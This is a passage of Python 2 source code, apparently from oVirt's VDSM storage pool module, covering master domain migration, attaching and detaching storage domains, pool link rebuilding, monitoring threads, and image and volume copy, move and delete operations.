se.BackupCannotBeMasterDomain(msdUUID) # Copy master file system content to the new master src = os.path.join(curmsd.domaindir, sd.MASTER_FS_DIR) dst = os.path.join(newmsd.domaindir, sd.MASTER_FS_DIR) # Mount new master file system newmsd.mountMaster() # Make sure there is no cruft left over for dir in [newmsd.getVMsDir(), newmsd.getTasksDir()]: fileUtils.cleanupdir(dir) try: fileUtils.tarCopy(src, dst, exclude=("./lost+found",)) except fileUtils.TarCopyFailed: self.log.error("tarCopy failed", exc_info = True) # Failed to copy the master data try: newmsd.unmountMaster() except Exception: self.log.error("Unexpected error", exc_info=True) raise se.StorageDomainMasterCopyError(msdUUID) self.copyPoolMD(curmsd, newmsd) path = newmsd.getMDPath() if not path: newmsd.unmountMaster() raise se.StorageDomainLayoutError("domain", msdUUID) # Acquire safelease lock on new master try: # Reset SPM lock because of the host still SPM # It will speedup new lock acquiring newmsd.initSPMlease() newmsd.acquireClusterLock(self.id) except Exception: self.log.error("Unexpected error", exc_info=True) newmsd.releaseClusterLock() newmsd.unmountMaster() raise self.log.debug("masterMigrate - lease acquired successfully") try: # Now mark new domain as 'master' # if things break down here move the master back pronto newPoolMD = self._getPoolMD(newmsd) with newPoolMD.transaction(): newPoolMD[PMDK_MASTER_VER] = masterVersion newmsd.changeRole(sd.MASTER_DOMAIN) self._saveReconnectInformation(self.id, self.scsiKey, newmsd.sdUUID, masterVersion) except Exception: self.log.error("Unexpected error", exc_info=True) newmsd.releaseClusterLock() newmsd.unmountMaster() raise # From this point on we have a new master and should not fail try: # Now recreate 'mastersd' link # we can use refresh() to do the job self.refresh(msdUUID, masterVersion) # From this point on there is a new master domain in the pool # Now that we are beyond the criticial point we can clean up things curmsd.changeRole(sd.REGULAR_DOMAIN) # Clean up the old data from previous master fs for dir in [curmsd.getVMsDir(), curmsd.getTasksDir()]: fileUtils.cleanupdir(dir) # NOTE: here we unmount the *previous* master file system !!! curmsd.unmountMaster() except Exception: self.log.error("Unexpected error", exc_info=True) try: # Release old lease curmsd.releaseClusterLock() except Exception: self.log.error("Unexpected error", exc_info=True) @unsecured def __unmountLastMaster(self, sdUUID): curmsd = sdCache.produce(sdUUID) # Check if it's last domain and allow it detaching dl = self.getDomains(activeOnly=True) domList = dl.keys() if curmsd.sdUUID in domList: domList.remove(curmsd.sdUUID) for item in domList: domain = sdCache.produce(item) if domain.isData(): # Failure, we have at least one more data domain # in the pool and one which can become 'master' raise se.StoragePoolHasPotentialMaster(item) curmsd.unmountMaster() def masterMigrate(self, sdUUID, msdUUID, masterVersion): self.log.info("sdUUID=%s spUUID=%s msdUUID=%s", sdUUID, self.spUUID, msdUUID) # Check if we are migrating to or just unmounting last master if msdUUID != sd.BLANK_UUID: # TODO: is this check relevant? self.validatePoolMVerHigher(masterVersion) self.__masterMigrate(sdUUID, msdUUID, masterVersion) return False # not last master self.__unmountLastMaster(sdUUID) return True # last master def attachSD(self, sdUUID): """ Attach a storage domain to the storage pool. This marks the storage domain as "attached" and links it to the storage pool 'sdUUID' - storage domain UUID """ self.log.info("sdUUID=%s spUUID=%s", sdUUID, self.spUUID) domains = self.getDomains() if sdUUID in domains: return True if len(domains) >= self.getMaximumSupportedDomains(): raise se.TooManyDomainsInStoragePoolError() dom = sdCache.produce(sdUUID) dom.acquireClusterLock(self.id) try: #If you remove this condition, remove it from public_createStoragePool too. if dom.isData() and (dom.getVersion() != self.masterDomain.getVersion()): raise se.MixedSDVersionError(dom.sdUUID, dom.getVersion(), self.masterDomain.sdUUID, self.masterDomain.getVersion()) dom.attach(self.spUUID) domains[sdUUID] = sd.DOM_ATTACHED_STATUS self.setMetaParam(PMDK_DOMAINS, domains) self._refreshDomainLinks(dom) finally: dom.releaseClusterLock() self.updateMonitoringThreads() def forcedDetachSD(self, sdUUID): self.log.warn("Force detaching domain `%s`", sdUUID) domains = self.getDomains() if sdUUID not in domains: return True del domains[sdUUID] self.setMetaParam(PMDK_DOMAINS, domains) self._cleanupDomainLinks(sdUUID) self.updateMonitoringThreads() self.log.debug("Force detach for domain `%s` is done", sdUUID) def detachSD(self, sdUUID, msdUUID, masterVersion): """ Detach a storage domain from a storage pool. This removes the storage domain entry in the storage pool meta-data and leaves the storage domain in 'unattached' status. 'sdUUID' - storage domain UUID 'msdUUID' - master storage domain UUID 'masterVersion' - new master storage domain version """ self.log.info("sdUUID=%s spUUID=%s msdUUID=%s", sdUUID, self.spUUID, msdUUID) dom = sdCache.produce(sdUUID) if dom.isISO(): dom.acquireClusterLock(self.id) try: dom.invalidateMetadata() try: # Avoid detach domains if not owned by pool self.validateAttachedDomain(sdUUID) domList = self.getDomains() sd.validateSDStateTransition(sdUUID, domList[sdUUID], sd.DOM_UNATTACHED_STATUS) # If the domain being detached is the 'master', move all pool # metadata to the new 'master' domain (msdUUID) if sdUUID == self.masterDomain.sdUUID: self.masterMigrate(sdUUID, msdUUID, masterVersion, __securityOverride=True) # Remove pool info from domain metadata dom.detach(self.spUUID) # Remove domain from pool metadata del domList[sdUUID] self.setMetaParam(PMDK_DOMAINS, domList, __securityOverride=True) self._cleanupDomainLinks(sdUUID) self.updateMonitoringThreads() except Exception: self.log.error("Unexpected error", exc_info=True) finally: if dom.isISO(): dom.releaseClusterLock() def activateSD(self, sdUUID): """ Activate a storage domain that is already a member in a storage pool. Validate that the storage domain is owned by the storage pool. 'sdUUID' - storage domain UUID """ self.log.info("sdUUID=%s spUUID=%s", sdUUID, self.spUUID) # Avoid domain activation if not owned by pool self.validateAttachedDomain(sdUUID) domList = self.getDomains() dom = sdCache.produce(sdUUID) sd.validateSDStateTransition(sdUUID, domList[sdUUID], sd.DOM_ACTIVE_STATUS) # Do nothing if already active if domList[sdUUID] == sd.DOM_ACTIVE_STATUS: return True if dom.getDomainClass() == sd.DATA_DOMAIN: dom.upgrade(self.getVersion()) dom.activate() # set domains also do rebuild domList[sdUUID] = sd.DOM_ACTIVE_STATUS self.setMetaParam(PMDK_DOMAINS, domList) self._refreshDomainLinks(dom) self.updateMonitoringThreads() return True def deactivateSD(self, sdUUID, new_msdUUID, masterVersion): """ Deactivate a storage domain. Validate that the storage domain is owned by the storage pool. Change storage domain status to "Attached" in the storage pool meta-data. :param sdUUID: The UUID of the storage domain you want to deactivate. :param new_msdUUID: The UUID of the new master storage domain. :param masterVersion: new master storage domain version """ self.log.info("sdUUID=%s spUUID=%s new_msdUUID=%s", sdUUID, self.spUUID, new_msdUUID) domList = self.getDomains() if sdUUID not in domList: raise se.StorageDomainNotInPool(self.spUUID, sdUUID) try: dom = sdCache.produce(sdUUID) #Check that dom is really reachable and not a cached value. dom.validate(False) except (se.StorageException, Timeout): self.log.warn("deactivaing MIA domain `%s`", sdUUID, exc_info=True) if new_msdUUID != BLANK_POOL_UUID: #Trying to migrate master failed to reach actual msd. raise se.StorageDomainAccessError(sdUUID) else: if dom.isMaster(): #Maybe there should be information in the exception that the UUID is #not invalid because of its format but because it is equal to the SD. Will be less confusing. #TODO: verify in masterMigrate(). if sdUUID == new_msdUUID: raise se.InvalidParameterException("new_msdUUID", new_msdUUID) self.masterMigrate(sdUUID, new_msdUUID, masterVersion) elif dom.isBackup(): dom.unmountMaster() domList[sdUUID] = sd.DOM_ATTACHED_STATUS self.setMetaParam(PMDK_DOMAINS, domList) self.updateMonitoringThreads() @unsecured def _linkStorageDomain(self, src, linkName): self.log.info("Linking %s to %s", src, linkName) try: current = os.readlink(linkName) except OSError, e: if e.errno != errno.ENOENT: self.log.error("Can't link SD %s to %s", src, linkName, exc_info=True) return else: if current == linkName: return #Nothing to do #Rebuid the link tmp_link_name = os.path.join(self.storage_repository, str(uuid.uuid4())) os.symlink(src, tmp_link_name) #make tmp_link os.rename(tmp_link_name, linkName) @unsecured def _cleanupDomainLinks(self, domain): linkPath = os.path.join(self.poolPath, domain) try: os.remove(linkPath) except (OSError, IOError): pass @unsecured def _refreshDomainLinks(self, domain): domain.refreshDirTree() linkName = os.path.join(self.poolPath, domain.sdUUID) self._linkStorageDomain(domain.domaindir, linkName) if self.masterDomain.sdUUID == domain.sdUUID: masterName = os.path.join(self.poolPath, POOL_MASTER_DOMAIN) self._linkStorageDomain(domain.domaindir, masterName) else: domPoolMD = self._getPoolMD(domain) with domPoolMD.transaction(): domain.changeRole(sd.REGULAR_DOMAIN) domPoolMD[PMDK_MASTER_VER] = 0 @unsecured def __rebuild(self, msdUUID, masterVersion): """ Rebuild storage pool. """ # master domain must be refreshed first self.masterDomain = self.getMasterDomain(msdUUID=msdUUID, masterVersion=masterVersion) self.updateMonitoringThreads() fileUtils.createdir(self.poolPath) # Find out all domains for future cleanup domainpat = os.path.join(self.poolPath, constants.UUID_GLOB_PATTERN) oldLinks = set(iglob(domainpat)) # We should not rebuild non-active domains, because # they are probably disconnected from the host domUUIDs = self.getDomains(activeOnly=True).keys() #msdUUID should be present and active in getDomains result. #TODO: Consider remove if clause. if msdUUID in domUUIDs: domUUIDs.remove(msdUUID) #TODO: Consider to remove this whole block. UGLY! #We want to avoid lookups (vgs) of unknown block domains. #domUUIDs includes all the domains, file or block. block_mountpoint = os.path.join(sd.StorageDomain.storage_repository, sd.DOMAIN_MNT_POINT, sd.BLOCKSD_DIR) blockDomUUIDs = [vg.name for vg in blockSD.lvm.getVGs(domUUIDs)] domDirs = {} # {domUUID: domaindir} #Add the block domains for domUUID in blockDomUUIDs: domaindir = os.path.join(block_mountpoint, domUUID) domDirs[domUUID] = domaindir # create domain special volumes folder fileUtils.createdir(os.path.join(domaindir, sd.DOMAIN_META_DATA)) fileUtils.createdir(os.path.join(domaindir, sd.DOMAIN_IMAGES)) #Add the file domains for domUUID, domaindir in fileSD.scanDomains(): #[(fileDomUUID, file_domaindir)] domDirs[domUUID] = domaindir #Link all the domains to the pool for domUUID, domaindir in domDirs.iteritems(): linkName = os.path.join(self.poolPath, domUUID) self._linkStorageDomain(domaindir, linkName) oldLinks.discard(linkName) # Always try to build master links try: self._refreshDomainLinks(self.masterDomain) except (se.StorageException, OSError): self.log.error("_refreshDomainLinks failed for master domain %s", self.masterDomain.sdUUID, exc_info=True) linkName = os.path.join(self.poolPath, self.masterDomain.sdUUID) oldLinks.discard(linkName) # Cleanup old trash from the pool for oldie in oldLinks: try: os.remove(oldie) except OSError as e: if e.errno != errno.ENOENT: self.log.warn("Could not clean all trash from the pool dom `%s` (%s)", oldie, e) except Exception as e: self.log.warn("Could not clean all trash from the pool dom `%s` (%s)", oldie, e) @unsecured def refresh(self, msdUUID=None, masterVersion=None): """ Refresh storage pool. 'msdUUID' - master storage domain UUID """ sdCache.refresh() self.__rebuild(msdUUID=msdUUID, masterVersion=masterVersion) def updateVM(self, vmList, sdUUID=None): """ Update VMs. 'vmList' - [{'vm':vmUUID,'ovf','imglist':'imgUUID1,imgUUID2,...'},...] 'sdUUID' - target domain UUID, if not None, VM Images and the master tree must be located on this domain. If sdUUID is None, the update is on the pool, and therefore the master domain will be updated. """ if sdUUID is None: sdUUID = self.masterDomain.sdUUID self.log.info("spUUID=%s sdUUID=%s", self.spUUID, sdUUID) vms = self._getVMsPath(sdUUID) # We should exclude 'masterd' link from IMG_METAPATTERN globing vmUUID = ovf = imgList = '' for vm in vmList: if not vm: continue try: vmUUID = vm['vm'] ovf = vm['ovf'] imgList = vm['imglist'].split(',') self.log.info("vmUUID=%s imgList=%s", vmUUID, str(imgList)) except KeyError: raise se.InvalidParameterException("vmList", str(vmList)) vmPath = os.path.join(vms, vmUUID) if fileUtils.pathExists(vmPath): fileUtils.cleanupdir(vmPath, ignoreErrors = False) try: os.mkdir(vmPath) codecs.open(os.path.join(vmPath, vmUUID + '.ovf'), 'w', encoding='utf8').write(ovf) except OSError, ex: if ex.errno == errno.ENOSPC: raise se.NoSpaceLeftOnDomain(sdUUID) raise def removeVM(self, vmList, sdUUID=None): """ Remove VMs. 'vmList' - vmUUID1,vmUUID2,... """ self.log.info("spUUID=%s vmList=%s sdUUID=%s", self.spUUID, str(vmList), sdUUID) vms = self._getVMsPath(sdUUID) vmUUIDs = vmList.split(',') for vm in vmUUIDs: if os.path.exists(os.path.join(vms, vm)): fileUtils.cleanupdir(os.path.join(vms, vm)) def setDescription(self, descr): """ Set storage pool description. 'descr' - pool description """ if len(descr) > MAX_POOL_DESCRIPTION_SIZE: raise se.StoragePoolDescriptionTooLongError() self.log.info("spUUID=%s descr=%s", self.spUUID, descr) self.setMetaParam(PMDK_POOL_DESCRIPTION, descr) def extendVolume(self, sdUUID, volumeUUID, size, isShuttingDown=None): sdCache.produce(sdUUID).extendVolume(volumeUUID, size, isShuttingDown) @classmethod def _getPoolMD(cls, domain): # This might look disgusting but this makes it so that # This is the only intrusion needed to satisfy the # unholy union between pool and SD metadata return DictValidator(domain._metadata._dict, SP_MD_FIELDS) @property def _metadata(self): return self._getPoolMD(self.masterDomain) @unsecured def getDescription(self): try: return self.getMetaParam(PMDK_POOL_DESCRIPTION) # There was a bug that cause pool description to # disappear. Returning "" might be ugly but it keeps # everyone happy. except KeyError: return "" @unsecured def getVersion(self): return self.masterDomain.getVersion() @unsecured def getSpmId(self): spmid = self.getMetaParam(PMDK_SPM_ID) if spmid != self.id or self.spmRole != SPM_FREE: return spmid # If we claim to be the SPM we have to be really sure we are self.invalidateMetadata() return self.getMetaParam(PMDK_SPM_ID) @unsecured def getInfo(self): """ Get storage pool info. """ ##self.log.info("Get info of the storage pool %s", ## self.spUUID) if not self.spUUID: raise se.StoragePoolInternalError info = {'type': '', 'name': '', 'domains': '', 'master_uuid': '', 'master_ver': 0, 'lver': -1, 'spm_id': -1, 'isoprefix': '', 'pool_status': 'uninitialized', 'version': -1} list_and_stats = {} msdUUID = self.masterDomain.sdUUID try: msdInfo = self.masterDomain.getInfo() except Exception: self.log.error("Couldn't read from master domain", exc_info=True) raise se.StoragePoolMasterNotFound(self.spUUID, msdUUID) try: info['type'] = msdInfo['type'] info['domains'] = domainListEncoder(self.getDomains()) info['name'] = self.getDescription() info['spm_id'] = self.getSpmId() info['lver'] = self.getMetaParam(PMDK_LVER) info['master_uuid'] = msdInfo['uuid'] info['master_ver'] = self.getMasterVersion() info['version'] = str(self.getVersion()) except Exception: self.log.error("Pool metadata error", exc_info=True) raise se.StoragePoolActionError(self.spUUID) # Get info of all pool's domains domDict = self.getDomains() repoStats = self.getRepoStats() for item in domDict: # Return statistics for active domains only stats = {} alerts = [] if domDict[item] == sd.DOM_ACTIVE_STATUS: try: dom = sdCache.produce(item) if dom.isISO(): info['isoprefix'] = os.path.join(self.poolPath, item, sd.DOMAIN_IMAGES, sd.ISO_IMAGE_UUID) except: self.log.warn("Could not get full domain information, it is probably unavailable", exc_info=True) if item in repoStats: try: # For unreachable domains repoStats will return disktotal/diskfree as None. # We should drop these parameters in this case if repoStats[item]['disktotal'] != None and repoStats[item]['diskfree'] != None: stats['disktotal'] = repoStats[item]['disktotal'] stats['diskfree'] = repoStats[item]['diskfree'] if not repoStats[item]['mdavalid']: alerts.append({'code':se.SmallVgMetadata.code, 'message':se.SmallVgMetadata.message}) self.log.warning("VG %s's metadata size too small %s", dom.sdUUID, repoStats[item]['mdasize']) if not repoStats[item]['mdathreshold']: alerts.append({'code':se.VgMetadataCriticallyFull.code, 'message':se.VgMetadataCriticallyFull.message}) self.log.warning("VG %s's metadata size exceeded critical size: \ mdasize=%s mdafree=%s", dom.sdUUID, repoStats[item]['mdasize'], repoStats[item]['mdafree']) except KeyError: # We might have been asked to run before the first repoStats cycle was run if item not in self.repostats: self.log.warn("RepoStats is not active for active domain `%s`", item) try: stats.update(sdCache.produce(item).getStats()) except: self.log.error("Could not get information for domain %s", item, exc_info=True) # Domain is unavailable and we have nothing in the cache # We need to return both of them or none stats.pop('disktotal', None) stats.pop('diskfree', None) stats['alerts'] = alerts stats['status'] = domDict[item] list_and_stats[item] = stats info["pool_status"] = "connected" return dict(info=info, dominfo=list_and_stats) @unsecured def getIsoDomain(self): """ Get pool's ISO domain if active """ domDict = self.getDomains(activeOnly=True) for item in domDict: try: dom = sdCache.produce(item) except se.StorageDomainDoesNotExist : self.log.warn("Storage domain %s does not exist", item) continue if dom.isISO(): return dom return None def setMetaParams(self, params): self._metadata.update(params) def setMetaParam(self, key, value): """ Set key:value in pool metadata file """ self._metadata[key] = value @unsecured def getMetaParam(self, key): """ Get parameter from pool metadata file """ return self._metadata[key] @unsecured def getMasterDomain(self, msdUUID, masterVersion): """ Get the (verified) master domain of this pool. 'msdUUID' - expected master domain UUID. 'masterVersion' - expected pool msd version. """ try: domain = sdCache.produce(msdUUID) except se.StorageDomainDoesNotExist: #Manager should start reconstructMaster if SPM. raise se.StoragePoolMasterNotFound(self.spUUID, msdUUID) if not domain.isMaster(): self.log.error("Requested master domain %s is not a master domain at all", msdUUID) raise se.StoragePoolWrongMaster(self.spUUID, msdUUID) pools = domain.getPools() if (self.spUUID not in pools): self.log.error("Requested master domain %s does not belong to pool %s", msdUUID, self.spUUID) raise se.StoragePoolWrongMaster(self.spUUID, msdUUID) version = self._getPoolMD(domain)[PMDK_MASTER_VER] if version != int(masterVersion): self.log.error("Requested master domain %s does not have expected version %s it is version %s", msdUUID, masterVersion, version) raise se.StoragePoolWrongMaster(self.spUUID, msdUUID) self.log.debug("Master domain %s verified, version %s", msdUUID, masterVersion) return domain @unsecured def invalidateMetadata(self): if not self.spmStarted: self._metadata.invalidate() @unsecured @misc.samplingmethod def updateMonitoringThreads(self): # domain list it's list of sdUUID:status # sdUUID1:status1,sdUUID2:status2,... self.invalidateMetadata() activeDomains = self.getDomains(activeOnly=True) monitoredDomains = self.repostats.keys() for sdUUID in monitoredDomains: if sdUUID not in activeDomains: try: self.stopRepoStats(sdUUID) self.log.debug("sp `%s` stopped monitoring domain `%s`" % (self.spUUID, sdUUID)) except se.StorageException: self.log.error("Unexpected error while trying to stop monitoring domain `%s`", sdUUID, exc_info=True) for sdUUID in activeDomains: if sdUUID not in monitoredDomains: try: self.startRepoStats(sdUUID) self.log.debug("sp `%s` started monitoring domain `%s`" % (self.spUUID, sdUUID)) except se.StorageException: self.log.error("Unexpected error while trying to monitor domain `%s`", sdUUID, exc_info=True) @unsecured def getDomains(self, activeOnly=False): return dict((sdUUID, status) \ for sdUUID, status in self.getMetaParam(PMDK_DOMAINS).iteritems() \ if not activeOnly or status == sd.DOM_ACTIVE_STATUS) def checkBackupDomain(self): domDict = self.getDomains(activeOnly=True) for sdUUID in domDict: dom = sdCache.produce(sdUUID) if dom.isBackup(): dom.mountMaster() # Master tree should be exist in this point # Recreate it if not. dom.createMasterTree() @unsecured def getImageDomainsList(self, imgUUID, datadomains=True): """ Get list of all domains in the pool that contain imgUUID 'imgUUID' - image UUID """ # TODO: get rid of this verb and let management query each domain separately # the problem with current implementation is that when a domain is not accesible # the error must be ignored and management can reach wrong conclusions. domainsdict = self.getDomains(activeOnly=True) domainslist = [] for dom in domainsdict: try: d = sdCache.produce(dom) except Exception: # Pass over invisible active domains self.log.error("Unexpected error", exc_info=True) continue if datadomains and not d.isData(): continue imageslist = d.getAllImages() if imgUUID in imageslist: domainslist.append(dom) return domainslist @unsecured def isMember(self, sdUUID, checkActive=False): """ Check if domain is memeber in the pool. """ return sdUUID in self.getDomains(activeOnly=checkActive) @unsecured def isActive(self, sdUUID): return sdUUID in self.getDomains(activeOnly=True) # TODO : move to sd.py @unsecured def _getVMsPath(self, sdUUID): """ Return general path of VMs from the pool. If 'sdUUID' is given then return VMs dir within it. """ if sdUUID and sdUUID != sd.BLANK_UUID: if not self.isActive(sdUUID): raise se.StorageDomainNotActive(sdUUID) vmPath = sdCache.produce(sdUUID).getVMsDir() # Get VMs path from the pool (from the master domain) else: vmPath = self.masterDomain.getVMsDir() if not os.path.exists(vmPath): raise se.VMPathNotExists(vmPath) return vmPath @unsecured def check(self): poolstatus = 0 baddomains = {} message = "Pool OK" try: self.invalidateMetadata() spmId = self.getMetaParam(PMDK_SPM_ID) domains = self.getDomains(activeOnly=True) for dom in domains: d = sdCache.produce(dom) domstatus = d.checkDomain(spUUID=self.spUUID) if domstatus["domainstatus"] != 0: baddomains[dom] = domstatus poolstatus = se.StoragePoolCheckError.code message = "Pool has bad domains" except se.StorageException, e: poolstatus = e.code message = str(e) except: poolstatus = se.StorageException.code message = "Pool is bad" return dict(poolstatus = poolstatus, baddomains = baddomains, masterdomain = self.masterDomain.sdUUID, spmhost=spmId, message = message) @unsecured def _repostats(self, domain): # self.selftest() should return True if things are looking good # and False otherwise stats = { 'disktotal' : None, 'diskfree' : None, 'masterValidate' : { 'mount' : False, 'valid' : False } } code = 0 try: domain.selftest() res = domain.getStats() stats.update(res) # Add here more selftests if needed # Fill stats to get it back to the caller # Keys 'finish' and 'result' are reserved and may not be used stats['masterValidate'] = domain.validateMaster() except se.StorageException, e: code = e.code except (OSError, Timeout): code = se.StorageDomainAccessError.code return stats, code @unsecured def startRepoStats(self, sdUUID): statthread = self.repostats.get(sdUUID) if not statthread: statthread = StatsThread(self._repostats, sdUUID) statthread.start() self.repostats[sdUUID] = statthread self.log.debug("%s stat %s", sdUUID, statthread) @unsecured def stopRepoStats(self, domain): statthread = self.repostats.pop(domain, None) if statthread: statthread.stop() self.log.debug("%s stat %s", domain, statthread) @unsecured def getRepoStats(self): repostats = self.repostats.copy() result = {} for d in repostats: result[d] = repostats[d].getStatsResults() return result def copyImage(self, sdUUID, vmUUID, srcImgUUID, srcVolUUID, dstImgUUID, dstVolUUID, descr, dstSdUUID, volType, volFormat, preallocate, postZero, force): """ Creates a new template/volume from VM. It does this it by collapse and copy the whole chain (baseVolUUID->srcVolUUID). :param sdUUID: The UUID of the storage domain in which the image resides. :type sdUUID: UUID :param spUUID: The UUID of the storage pool in which the image resides. :type spUUID: UUID :param vmUUID: The UUID of the virtual machine you want to copy from. :type vmUUID: UUID :param srcImageUUID: The UUID of the source image you want to copy from. :type srcImageUUID: UUID :param srcVolUUID: The UUID of the source volume you want to copy from. :type srcVolUUID: UUID :param dstImageUUID: The UUID of the destination image you want to copy to. :type dstImageUUID: UUID :param dstVolUUID: The UUID of the destination volume you want to copy to. :type dstVolUUID: UUID :param descr: The human readable description of the new template. :type descr: str :param dstSdUUID: The UUID of the destination storage domain you want to copy to. :type dstSdUUID: UUID :param volType: The volume type of the volume being copied to. :type volType: some enum?! :param volFormat: The format of the volume being copied to. :type volFormat: some enum?! :param preallocate: Should the data be preallocated. :type preallocate: bool :param postZero: ? :type postZero: ? :param force: Should the copy be forced. :type force: bool :returns: a dict containing the UUID of the newly created image. :rtype: dict """ srcImageResourcesNamespace = sd.getNamespace(sdUUID, IMAGE_NAMESPACE) if dstSdUUID not in [sdUUID, sd.BLANK_UUID]: dstImageResourcesNamespace = sd.getNamespace(dstSdUUID, IMAGE_NAMESPACE) else: dstImageResourcesNamespace = srcImageResourcesNamespace with nested(rmanager.acquireResource(srcImageResourcesNamespace, srcImgUUID, rm.LockType.shared), rmanager.acquireResource(dstImageResourcesNamespace, dstImgUUID, rm.LockType.exclusive)): repoPath = os.path.join(self.storage_repository, self.spUUID) dstUUID = image.Image(repoPath).copy(sdUUID, vmUUID, srcImgUUID, srcVolUUID, dstImgUUID, dstVolUUID, descr, dstSdUUID, volType, volFormat, preallocate, postZero, force) return dict(uuid=dstUUID) def moveImage(self, srcDomUUID, dstDomUUID, imgUUID, vmUUID, op, postZero, force): """ Moves or Copys an image between storage domains within same storage pool. :param spUUID: The storage pool where the operation will take place. :type spUUID: UUID :param srcDomUUID: The UUID of the storage domain you want to copy from. :type srcDomUUID: UUID :param dstDomUUID: The UUID of the storage domain you want to copy to. :type dstDomUUID: UUID :param imgUUID: The UUID of the image you want to copy. :type imgUUID: UUID :param vmUUID: The UUID of the vm that owns the images. ? :type vmUUID: UUID :param op: The operation code? :type op: some enum? :param postZero: ? :param force: Should the operation be forced. :type force: bool """ srcImageResourcesNamespace = sd.getNamespace(srcDomUUID, IMAGE_NAMESPACE) dstImageResourcesNamespace = sd.getNamespace(dstDomUUID, IMAGE_NAMESPACE) # For MOVE_OP acqure exclusive lock # For COPY_OP shared lock is enough if op == image.MOVE_OP: srcLock = rm.LockType.exclusive elif op == image.COPY_OP: srcLock = rm.LockType.shared else: raise se.MoveImageError(imgUUID) with nested(rmanager.acquireResource(srcImageResourcesNamespace, imgUUID, srcLock), rmanager.acquireResource(dstImageResourcesNamespace, imgUUID, rm.LockType.exclusive)): repoPath = os.path.join(self.storage_repository, self.spUUID) image.Image(repoPath).move(srcDomUUID, dstDomUUID, imgUUID, vmUUID, op, postZero, force) def moveMultipleImages(self, srcDomUUID, dstDomUUID, imgDict, vmUUID, force): """ Moves multiple images between storage domains within same storage pool. :param spUUID: The storage pool where the operation will take place. :type spUUID: UUID :param srcDomUUID: The UUID of the storage domain you want to copy from. :type srcDomUUID: UUID :param dstDomUUID: The UUID of the storage domain you want to copy to. :type dstDomUUID: UUID :param imgDict: A dict of images in for form of ``{somthing:idunno}`` :type imgDict: dict :param vmUUID: The UUID of the vm that owns the images. :type vmUUID: UUID :param force: Should the operation be forced. :type force: bool """ srcImageResourcesNamespace = sd.getNamespace(srcDomUUID, IMAGE_NAMESPACE) dstImageResourcesNamespace = sd.getNamespace(dstDomUUID, IMAGE_NAMESPACE) imgList = imgDict.keys() imgList.sort() resourceList = [] for imgUUID in imgList: resourceList.append(rmanager.acquireResource(srcImageResourcesNamespace, imgUUID, rm.LockType.exclusive)) resourceList.append(rmanager.acquireResource(dstImageResourcesNamespace, imgUUID, rm.LockType.exclusive)) with nested(*resourceList): repoPath = os.path.join(self.storage_repository, self.spUUID) image.Image(repoPath).multiMove(srcDomUUID, dstDomUUID, imgDict, vmUUID, force) def deleteImage(self, sdUUID, imgUUID, postZero, force): """ Deletes an Image folder with all it's volumes. :param sdUUID: The UUID of the storage domain that contains the images. :type sdUUID: UUID :param imgUUID: The UUID of the image you want to delete. :type imgUUID: UUID :param postZero: ? :param force: Should the operation be forced. :type force: bool """ volParams = None repoPath = os.path.join(self.storage_repository, self.spUUID) if sdCache.produce(sdUUID).isBackup(): # Pre-delete requisites volParams = image.Image(repoPath).preDeleteHandler(sdUUID=sdUUID, imgUUID=imgUUID) # Delete required image image.Image(repoPath).delete(sdUUID=sdUUID, imgUUID=imgUUID, postZero=postZero, force=force) # We need create 'fake' image instead of deleted one if volParams: image.Image(repoPath).createFakeTemplate(sdUUID=sdUUID, volParams=volParams) def mergeSnapshots(self, sdUUID, vmUUID, imgUUID, ancestor, successor, postZero): """ Merges the source volume to the destination volume. :param sdUUID: The UUID of the storage domain that contains the images. :type sdUUID: UUID :param spUUID: The UUID of the storage pool that contains the images. :type spUUID: UUID :param imgUUID: The UUID of the new image you will be created after the merge.? :type imgUUID: UUID :param ancestor: The UUID of the source volume.? :type ancestor: UUID :param successor: The UUID of the destination volume.? :type successor: UUID :param postZero: ? :type postZero: bool? """ imageResourcesNamespace = sd.getNamespace(sdUUID, IMAGE_NAMESPACE) with rmanager.acquireResource(imageResourcesNamespace, imgUUID, rm.LockType.exclusive): repoPath = os.path.join(self.storage_repository, self.spUUID) image.Image(repoPath).merge(sdUUID, vmUUID, imgUUID, ancestor, successor, postZero) def createVolume(self, sdUUID, imgUUID, size, volFormat, preallocate, diskType, volUUID=None, desc="", srcImgUUID=volume.BLANK_UUID, srcVolUUID=volume.BLANK_UUID): """ Creates a new volume. .. note:: If the *imgUUID* is **identical** to the *srcImgUUID* the new volume will be logically considered a snapshot of the old volume. If the *imgUUID* is **different** from the *srcImgUUID* the old volume will be logically considered a template of the new volume. :param sdUUID: The UUID of the storage domain that contains the volume. :type sdUUID: UUID :param imgUUID: The UUID of the image that id that the new volume will have. :type imgUUID: UUID :param size: The size of the new volume in bytes. :type size: int :param volFormat: The format of the new volume. :type volFormat: some enum ?! :param preallocate: Should the volume be preallocated. :type preallocate: bool :param diskType: The disk type of the new volume. :type diskType: some enum ?! :param volUUID: The UUID of the new volume that will be created. :type volUUID: UUID :param desc: A human readable description of the new volume. :param srcImgUUID: The UUID of the image that resides on the volume that will be the base of the new volume. :type srcImgUUID: UUID :param srcVolUUID: The UUID of the volume that will be the base of the new volume. :type srcVolUUID: UUID :returns: a dicts with the UUID of the new volume. :rtype: dict """ imageResourcesNamespace = sd.getNamespace(sdUUID, IMAGE_NAMESPACE) with rmanager.acquireResource(imageResourcesNamespace, imgUUID, rm.LockType.exclusive): uuid = sdCache.produce(sdUUID).createVolume(imgUUID=imgUUID, size=size, volFormat=volFormat, preallocate=preallocate, diskType=diskType, volUUID=volUUID, desc=desc, srcImgUUID=srcImgUUID, srcVolUUID=srcVolUUID) return dict(uuid=uuid) def deleteVolume(self, sdUUID, imgUUID, volumes, postZero, force): """ Deletes a given volume. .. note:: This function assumes: * If more than 1 volume, all volumes are a part of the **same** chain. * Given volumes are ordered, so predecessor is deleted before ancestor. ? (might be confused?) :param sdUUID: The UUID of the storage domain that contains the volume. :type sdUUID: UUID :param imgUUID: The UUID of the image that id that the new volume will have. :type imgUUID: UUID """ imageResourcesNamespace = sd.getNamespace(sdUUID, IMAGE_NAMESPACE) with rmanager.acquireResource(imageResourcesNamespace, imgUUID, rm.LockType.exclusive): for volUUID in volumes: sdCache.produce(sdUUID).produceVolume(imgUUID, volUUID).delete(postZero=postZero, force=force) def setMaxHostID(self, spUUID, maxID): """ Set maximum host ID """ self.log.error("TODO: Implement") self._maxHostID self.spmMailer.setMaxHostID(maxID) raise se.NotImplementedException def detachAllDomains(self): """ Detach all domains from pool before destroying pool """ # First find out this pool master domain # Find out domain list from the pool metadata domList = self.getDomains().keys() for sdUUID in domList: # master domain should be detached last, after spm is stopped if sdUUID == self.masterDomain.sdUUID: continue self.detachSD(sdUUID=sdUUID, msdUUID=sd.BLANK_UUID, masterVersion=0) self.stopSpm(self.spUUID) # 